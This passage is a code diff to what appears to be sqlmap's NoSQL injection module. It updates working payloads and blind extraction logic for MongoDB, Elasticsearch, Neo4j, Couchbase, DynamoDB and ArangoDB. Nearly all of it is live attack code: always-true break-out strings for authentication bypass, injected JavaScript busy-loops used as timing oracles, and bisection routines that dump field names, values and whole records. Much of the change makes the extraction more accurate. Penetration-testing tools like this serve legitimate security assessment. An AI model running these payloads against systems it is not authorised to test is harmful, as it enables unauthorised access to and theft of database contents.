shared per-query JS scope (`__c`, an implicit + # global assigned across document invocations) caps the busy-loop to ONE document per request: the + # timing oracle is unchanged (a slow response still means at least one document matched), but the + # added latency is ~timeSec regardless of collection size. On a MongoDB build that isolates the + # scope per invocation the cap simply never trips and behaviour degrades to the old per-doc loop. + return "%s' || (function(d){if(typeof __c=='undefined'){__c=0;}if(__c<1&&(%s)){__c=1;var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) def _detectWhere(place, parameter): - # an unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so - # TWICE, to reject a one-off jitter spike - while a non-delaying one stays fast (the latter - # guards against a uniformly slow endpoint) - delayed = lambda: _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) - threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 - if threshold < conf.timeSec and delayed() > threshold and delayed() > threshold: - if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: - return threshold + # An unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so TWICE, + # from USABLE responses, to reject a one-off jitter spike - while a non-delaying control stays fast. + # Every measurement is (elapsed, usable): a delayed BLOCKED/failed response (WAF/5xx) is NOT a valid + # slow sample, so a soft-blocking WAF can no longer establish a time-based $where finding. + baseDt, baseUsable = _timedResponse(place, parameter, _originalValue(place, parameter) or "1") + if not baseUsable: + return None + threshold = baseDt + conf.timeSec * 0.5 + + def slow(): + dt, usable = _timedResponse(place, parameter, _whereDelay("true")) + return usable and dt > threshold + + def fastControl(): + dt, usable = _timedResponse(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL) + return usable and dt <= threshold + + if slow() and slow() and fastControl(): + return threshold return None def _jsString(value): return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") -def _whereField(place, parameter, bound, expr, threshold): +def _whereField(place, parameter, bound, expr, threshold, strict=False): """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key - name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle""" + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle. `strict` + propagates InconclusiveError (for structural key-name probes) instead of returning None.""" - truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold + # tri-state timing bit: a blocked/error response is never read as a (slow) true bit, and a + # persistently unusable probe raises InconclusiveError so the value aborts instead of fabricating + truth = lambda payload: _timedBit(place, parameter, payload, threshold) return _extract(None, None, lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), - truth) + truth, strict=strict) def _whereDump(place, parameter, bound, threshold): """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover - each field name, then String(this[name]) for its value. Returns (columns, rows) or None""" + each field name, then String(this[name]) for its value. Returns (columns, rows, bound).""" - columns, values = [], [] + columns, values, partial = [], [], False for index in xrange(NOSQL_MAX_FIELDS): - name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold) - if not name: + try: + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold, strict=True) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("$where field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) break columns.append(name) - values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "") + cell = _whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" logger.info("retrieved: %s='%s'" % (name, values[-1])) - return (columns, [values]) if columns else None + if partial: + logger.warning("$where document dump is INCOMPLETE (field enumeration aborted)") + # NOT bound: a $where key-walk is not pinned to a native _id, so with a loose/absent constraint the + # keys and values can come from different matching documents. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None def _classChar(ordinal): char = chr(ordinal) @@ -357,13 +754,16 @@ def _klass(low, high): def _propLiteral(name): return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") -def _enumField(place, parameter, template, payloadFor): +def _enumField(place, parameter, template, payloadFor, strict=False, falseModel=None): """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), - reusing the bisection extractor against the always-true single-record `template`""" + reusing the bisection extractor against the always-true single-record `template`. `strict` + propagates InconclusiveError (for structural field-name probes); `falseModel` (a never-matching + response) enables relative true/false classification so an unrelated page is UNKNOWN, not false.""" return _extract(template, lambda value: _fetchValue(place, parameter, value), lambda n: payloadFor(".{%d,}" % n), - lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass))) + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass)), + strict=strict, falseModel=falseModel) def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field @@ -371,20 +771,37 @@ def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): break-out and record binding around a ' matches ^' oracle. Returns (columns, rows) or None - the caller can then fall back to single-field extraction""" - template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*")) # the bound single record - if not template or _isError(template): + # A whole-document dump is content-based, so it REQUIRES both models: a reproduced true (any-match) + # page, a reproduced false (never-match) page, and CLEAR SEPARATION between them. Without all three, + # classification would be one-sided (an unrelated usable page -> a fabricated false bit), so the dump + # is DISABLED (return None) - it must never run _enumField with falseModel=None in a live dump. + template = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), ".*"))) + falseModel = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), NOSQL_SENTINEL))) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: + logger.debug("NoSQL dump disabled: could not calibrate separable true/false models") return None - columns, values = [], [] + columns, values, partial = [], [], False for index in xrange(NOSQL_MAX_FIELDS): - name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb)) - if not name: + try: + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb), strict=True, falseModel=falseModel) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) break columns.append(name) - values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "") + cell = _enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb), falseModel=falseModel) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" logger.info("retrieved: %s='%s'" % (name, values[-1])) - return (columns, [values]) if columns else None + if partial: + logger.warning("document dump is INCOMPLETE (field enumeration aborted before end)") + # NOT bound by default: the caller's makePayload uses only a sibling `constraint` (which may match + # many records). A caller that pins a NATIVE id per record (e.g. _cypherDump's id(u)=k) marks its + # own result bound. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None def _cypherDump(place, parameter): """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order @@ -392,22 +809,33 @@ def _cypherDump(place, parameter): does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" fetch = lambda payload: _fetchValue(place, parameter, payload) - noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL) # stable zero-record baseline (app closes the quote) - differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND - if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL): - return None - - # a numeric condition opens no string, so balance the app's trailing quote with a tautology - exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)) + # DUAL model: a record-ABSENT page (zero rows) AND a record-PRESENT page (all rows). Existence is + # classified RELATIVE to both (shared resolveBit via _contentBit) - an unrelated usable page (e.g. a + # session-expired / soft-WAF page) leans to NEITHER and is INCONCLUSIVE, never fabricated as "exists". + absentModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + presentModel = _reproduced(lambda: fetch("%s' OR '1'='1" % NOSQL_SENTINEL)) + if not absentModel or not presentModel or _ratio(presentModel, absentModel) > UPPER_RATIO_BOUND: + return None # not separable / not usable -> cannot dump safely + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology; `exists` + # is True only when the page leans to the present model over the absent model (retry/abort otherwise) + exists = lambda cond: _contentBit(lambda v: fetch("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)), None, presentModel, absentModel) def minIdGreater(lower): - # smallest internal node id strictly greater than `lower` (None when no further node exists) + # smallest internal node id strictly greater than `lower` (None when no further node exists). + # Grow an INDEPENDENT positive span from `lower` (never multiply the bound itself: with + # lower=-1 the upper bound starts at 0 and `hi *= 2` stays 0 forever when node id 0 is absent - + # deleting the earliest nodes is enough to hang the scan). Bounded by both a numeric ceiling + # AND a probe cap. if not exists("id(u) > %d" % lower): return None - hi = lower + 1 + span, probes = 1, 0 + hi = lower + span while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): - hi *= 2 - if hi > (1 << 40): + span *= 2 + hi = lower + span + probes += 1 + if hi > (1 << 40) or probes > 64: return None lo = lower while lo + 1 < hi: @@ -418,23 +846,33 @@ def minIdGreater(lower): lo = mid return hi - columns, records, lastId = [], [], -1 - for _ in xrange(NOSQL_MAX_RECORDS): - nodeId = minIdGreater(lastId) - if nodeId is None: - break - record = _enumDump(place, parameter, - lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), - lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) - if record: - cols, values = record - records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) - columns.extend(_ for _ in cols if _ not in columns) - lastId = nodeId - else: - logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + columns, records, lastId, complete = [], [], -1, True + try: + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + if record: + cols, values, _b, recComplete = record # each field bound to the SAME node by id(u)=k + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + if not recComplete: # a node's own fields were partially recovered + complete = False + lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + complete = False + except InconclusiveError: + # the node-id walk hit a persistently unusable oracle: stop and return what was recovered so + # far (partial) rather than fabricate node existence from failed requests + complete = False + logger.warning("Cypher record walk aborted (oracle inconclusive); returning %d record(s) recovered so far" % len(records)) - return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None + # BOUND: every field of every record was pinned to a unique native node id (id(u)=k) + return (columns, [[row.get(_, "") for _ in columns] for row in records], True, complete) if records else None def _partiqlValue(place, parameter, bind, field): """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no @@ -443,24 +881,32 @@ def _partiqlValue(place, parameter, bind, field): quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it fetch = lambda payload: _fetchValue(place, parameter, payload) - template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field)) # field >= '' -> bound record matches - if not template or _isError(template): + template = _reproduced(lambda: fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field))) # field >= '' -> match (TRUE model) + # FALSE model: `... OR '1'='2` never matches (the bound record is absent), so each comparison bit is + # classified relative to BOTH models; without it a session-expired/soft-WAF page would become a false + # bit. Cannot calibrate both -> disable extraction rather than one-side. + falseModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: return None - truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND + truth = lambda value: _contentBit(lambda v: fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(v))), value, template, falseModel) - retVal = "" - while len(retVal) < NOSQL_MAX_LENGTH: - if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value - break - lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX - while lo < hi: - mid = (lo + hi + 1) // 2 - if truth(retVal + chr(mid)): - lo = mid - else: - hi = mid - 1 - retVal += chr(lo) + try: + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + except InconclusiveError: + logger.warning("PartiQL extraction aborted for a value (oracle inconclusive after retries)") + return None return retVal or None @@ -472,48 +918,65 @@ def _partiqlDump(place, parameter, key): if not bind: # need a sibling to pin a single record return None value = _partiqlValue(place, parameter, bind, key) - return ([key], [[value]]) if value is not None else None + # a single sibling is not proven to be the COMPLETE partition+sort key, so cardinality-one is not + # established -> representative (the recovered value could belong to any record matching `bind`) + return ([key], [[value]], False, True) if value is not None else None -def _extract(template, fetchFn, lengthValue, charValue, truthFn=None): +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None, strict=False, falseModel=None): """Blind value recovery: binary-searches the length, then bisects each character's codepoint over the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n) and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against - `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)""" + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate). - truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND) + Return contract distinguishes THREE outcomes so a structural caller never confuses them: + - a recovered value (incl. "" for a genuine zero-length value); + - InconclusiveError raised when `strict` and the oracle aborts (a structural probe - a field NAME + or a next-row pin - must treat this as UNKNOWN, not end-of-data); + - None returned when NOT `strict` and the oracle aborts (a per-value abort: caller renders a marker). + """ - length, probe = 0, 1 - while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): - length, probe = probe, probe * 2 + truth = truthFn or (lambda value: _contentBit(fetchFn, value, template, falseModel)) - low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) - while low + 1 < high: - mid = (low + high) // 2 - if truth(lengthValue(mid)): - low = mid - else: - high = mid + try: + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid - if not low: - return None + if not low: + return "" # genuine zero-length value / end (NOT abort) - debugMsg = "retrieving the value (%d characters)" % low - logger.debug(debugMsg) + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) - retVal = "" - for _ in xrange(low): - lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX - if not truth(charValue(retVal, _klass(lo, hi))): - retVal += '?' # character outside the printable-ASCII range - continue - while lo < hi: - mid = (lo + hi) // 2 - if truth(charValue(retVal, _klass(lo, mid))): - hi = mid - else: - lo = mid + 1 - retVal += chr(lo) + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + except InconclusiveError: + # a structural caller must SEE the abort (to mark the dump partial / abort), not read it as + # end-of-data; a per-value caller instead gets None and renders an inconclusive marker + logger.warning("NoSQL extraction aborted for a value (oracle inconclusive after retries)") + if strict: + raise + return None return retVal @@ -526,42 +989,64 @@ def _resolve(place, parameter, key): template = _detectMongo(place, parameter) if template: + falseModel = _reproduced(lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) # matches nothing return Vector(_fingerprintMongo(place, parameter), lambda value: _fetch(place, parameter, "$regex", value), lambda n: "^.{%d,}$" % n, lambda known, klass: "^%s%s" % (re.escape(known), klass), - template=template, bypass='{"$ne": null}') + template=template, bypass='{"$ne": null}', falseModel=falseModel) template = _detectES(place, parameter) if template: + falseModel = _reproduced(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) # literal sentinel matches nothing return Vector(_fingerprintLucene(place, parameter), lambda value: _fetchValue(place, parameter, value), lambda n: "/.{%d,}/" % n, lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), - template=template, bypass='*') + template=template, bypass='*', falseModel=falseModel) template = _detectCypher(place, parameter) if template: constraint = _constraint(place, parameter) - # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell - # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or - # PartiQL 'begins_with') - if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)): + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out - which + # is ALSO identical to classic SQL string injection. Attribute a back-end ONLY on a positive, + # engine-specific primitive: Cypher '=~' regex or STARTS WITH, N1QL REGEXP_CONTAINS, PartiQL + # begins_with. If NONE confirms, this is a plain SQL string injection, not NoSQL -> return None + # (the old unconditional Neo4j fall-through turned every SQLi string parameter into a false Neo4j). + # NOTE the confirm pairs differ ONLY in the engine-specific clause ('=~' regex body, or the + # STARTS WITH prefix), with an IDENTICAL false tautology tail on both sides - so the + # divergence is attributable to the Cypher primitive alone, never to the shared '1'='x' + # tautology (which a SQL back-end would also flip). + cypher = _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)) \ + or _confirmBattery(place, parameter, + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), _CYPHER_PREDICATES) + if not cypher: if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + # bind EVERY probe (length, char, key-index, value) to the sibling-identified record by + # AND-ing the `constraint` into the OR-clause: `... OR (u.id='7' AND REGEXP_CONTAINS(..)) + # OR ...`. Without this the key/value predicates could match DIFFERENT documents, so a + # `bound=True` label would be false (the reviewer's P0-6). When `constraint` is empty the + # clause is just the predicate and bound=False, honestly marking the dump representative. + # never-matching regexp body = the FALSE model (bound identically to the extraction) + cbFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) return Vector("Couchbase", lambda value: _fetchValue(place, parameter, value), - lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n), - lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)), + lambda n: "%s' OR (%sREGEXP_CONTAINS(%s, '^.{%d,}')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), template=template, bypass="' OR '1'='1", dump=lambda: _enumDump(place, parameter, - lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb), - lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n))) + lambda expr, rb: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=cbFalse) if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)): return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", dump=lambda: _partiqlDump(place, parameter, key)) + return None # SQL-shared break-out with no Cypher/N1QL/PartiQL primitive -> not NoSQL + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), @@ -572,17 +1057,23 @@ def _resolve(place, parameter, key): constraint = _constraint(place, parameter, "==", " && ") # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 - # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test() - if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \ - and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): - bound = _constraint(place, parameter, "==", "&&", prefix="this.") - whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) - return Vector("MongoDB ($where)", - lambda value: _fetchValue(place, parameter, value), - lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), - lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), - template=whereTemplate, bypass="' || '1'=='1") + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test(). + # Attribute a back-end ONLY on a positive primitive; if NEITHER confirms, don't default to + # ArangoDB (that would be an unconfirmed attribution) - return None. + aqlRegex = _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) + if not aqlRegex: + if _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + whereFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%sthis.%s&&/%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, NOSQL_SENTINEL, key))) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1", falseModel=whereFalse) + return None + aqlFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) return Vector("ArangoDB", lambda value: _fetchValue(place, parameter, value), lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), @@ -590,7 +1081,8 @@ def _resolve(place, parameter, key): template=template, bypass="' || '1'=='1", dump=lambda: _enumDump(place, parameter, lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), - lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n))) + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=aqlFalse) numeric = _detectNumeric(place, parameter) if numeric: @@ -606,8 +1098,11 @@ def _resolve(place, parameter, key): threshold = _detectWhere(place, parameter) if threshold is not None: bound = _constraint(place, parameter, "==", "&&", prefix="d.") + # with no sibling constraint the $where busy-loop matches whichever document(s) the scan + # reaches, so Object.keys(d)/String(d[k]) are not proven to come from ONE record -> representative return Vector("MongoDB ($where)", None, None, None, - dump=lambda: _whereDump(place, parameter, bound, threshold)) + dump=lambda: _whereDump(place, parameter, bound, threshold), + bound=bool(bound)) engine = _detectError(place, parameter) if engine: @@ -621,6 +1116,8 @@ def _inband(place, parameter, template): directly - else None""" original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if original is None: # a blocked/failed baseline is UNKNOWN - not a basis for comparison + return None if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): return template return None @@ -687,8 +1184,9 @@ def nosqlScan(): confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload and (2) blindly recover the targeted field via the regexp/timing oracle""" - global NOSQL_SENTINEL + global NOSQL_SENTINEL, _sqlErrorSeen NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + _sqlErrorSeen = False # NoSQL injection from an application-scoped point is confined to the back-end's single query # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the @@ -740,7 +1238,9 @@ def nosqlScan(): conf.dumper.singleString(report) if vector.bypass: - infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass) + # report the payload ACTUALLY tested (e.g. '[$ne]='), not an idealized form + # like '{"$ne": null}' that was never sent - `null` can behave differently server-side + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, payload) logger.info(infoMsg) dumped = False @@ -751,10 +1251,23 @@ def nosqlScan(): logger.info(infoMsg) records = vector.dump() if records: - columns, rows = records - infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '') - logger.info(infoMsg) - conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows))) + # dump implementations return (columns, rows, bound, complete): `bound` reflects the + # vector that ACTUALLY succeeded (a native record id pinned in every predicate); + # `complete` is False when enumeration aborted / hit a cap. Both statuses are shown + # in the FINAL dumper header, not merely logged, so a partial/representative result + # is never presented as a complete coherent document. + columns, rows, bound, complete = records + logger.info("dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '')) + status = [] + if not bound: + status.append("REPRESENTATIVE: record identity unproven") + logger.warning("no unique-record binding (no native record id / cardinality-one proof); fields below are REPRESENTATIVE and may not all belong to the same document") + if not complete: + status.append("PARTIAL: oracle inconclusive / cap reached") + logger.warning("the document dump is INCOMPLETE") + header = "documents" if len(rows) != 1 else "document" + tag = (" [%s]" % "; ".join(status)) if status else " [COMPLETE]" + conf.dumper.singleString("NoSQL: %s parameter '%s' %s%s:\n%s" % (place, key, header, tag, _grid(columns, rows))) dumped = True if not dumped and vector.template is not None: @@ -766,10 +1279,18 @@ def nosqlScan(): dumped = True if vector.lengthValue is not None: - value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth) - if value is not None: - conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) - dumped = True + # content extraction needs BOTH models: without a calibrated false model, classification + # would be one-sided (an unrelated usable page -> a fabricated false bit), so DISABLE + # extraction rather than risk corrupt data (the reviewer's invariant) + if vector.truth is None and vector.falseModel is None: + logger.warning("%s parameter '%s': content extraction disabled - could not calibrate a false model " + "(one-sided classification risks fabricated values)" % (place, key)) + else: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, + vector.truth, falseModel=vector.falseModel) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True if not dumped: if vector.template is None and vector.truth is None and vector.dump is None: @@ -781,5 +1302,9 @@ def nosqlScan(): if not found: warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested logger.warning(warnMsg) + if _sqlErrorSeen: + warnMsg = "a NoSQL probe triggered a back-end DBMS (SQL) error, which strongly suggests the " + warnMsg += "target is a classic SQL injection - re-run without '--nosql' to test for it" + logger.warning(warnMsg) 